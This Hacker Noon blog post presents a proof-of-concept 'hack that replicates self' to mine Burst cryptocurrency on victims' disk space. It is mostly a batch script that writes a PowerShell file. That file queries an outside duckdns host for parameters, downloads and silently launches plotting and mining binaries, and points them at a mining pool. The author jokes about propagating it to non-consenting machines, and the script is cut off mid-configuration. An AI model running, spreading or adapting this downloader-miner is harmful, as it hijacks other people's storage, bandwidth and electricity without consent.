A Hack That Replicates Self, Mines Crypto Without CPU/GPU | Hacker Noon

I was going to marathon livestream this, but all the joys of Hacker Noon’s recent affiliation with Coil are beginning to show me (fractional) love.

Note to author-hackers: Your Uphold endpoint needs to be set on both Coil and on Hacker Noon settings page. :) Mine wasn’t for the first little while, proving $0-revenues until fixing it and voila!

A fraction of a penny!

Now, onwards to my POC. Note that I haven’t created (most of) this and haven’t propagated it to any non-consenting machines. Hypothesizing isn’t illegal, right?

Note: I did create most of the mining-in-powershell script and executed it awhile ago. The other aspects of this POC are brand-spanking new.

Look at that, I even found a bit of incriminating code :)

@echo off @echo mkdir c:\temp >>stuff.ps1 @echo $disk = Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'" >>stuff.ps1 @echo $nonces=$disk.FreeSpace/1024/1024/1024/2*4096 >>stuff.ps1 @echo $web_client = new-object system.net.webclient >>stuff.ps1 @echo $build_info=$web_client.DownloadString("http://noncecalculator.duckdns.org:3000/?nonces=$nonces") >>stuff.ps1 @echo $start=$build_info.nonce >>stuff.ps1 @echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/engraver/releases/download/2.20/engraver-2.2.0-x86_64-pc-windows-msvc.zip.zip', 'c:/temp/engraver.zip') >>stuff.ps1 @echo $nonces=[math]::floor($nonces) >>stuff.ps1 @echo $start=[math]::floor($start) >>stuff.ps1 @echo Add-Type -AssemblyName System.IO.Compression.FileSystem >>stuff.ps1 @echo [System.IO.Compression.ZipFile]::ExtractToDirectory('c:/temp/engraver.zip', 'c:/temp') >>stuff.ps1 @echo start-process -NoNewWindow -FilePath 'c:\temp\engraver_cpu.exe' -ArgumentList "-l -i 10478801653490313100 -s $start -n $nonces -p c:\temp" >>stuff.ps1 @echo (new-object System.Net.WebClient).DownloadFile('https://github.com/PoC-Consortium/scavenger/releases/download/v.1.7.2/scavenger-1.7.2-x86_64-pc-windows-msvc-cpu-only.zip', 'c:/temp/scavenger.zip') >>stuff.ps1 @echo [System.IO.Compression.ZipFile]::ExtractToDirectory('c:/temp/scavenger.zip', 'c:/temp') >>stuff.ps1 @echo $out = ^"plot_dirs: >>stuff.ps1 @echo - 'C:\temp' >>stuff.ps1 @echo url: 'http://0-100-pool.burst.cryptoguru.org:8124' >>stuff.ps1 @echo hdd_reader_thread_count: 0 # default 0 (=auto: number of disks) >>stuff.ps1 @echo hdd_use_direct_io: true # default true >>stuff.ps1 @echo…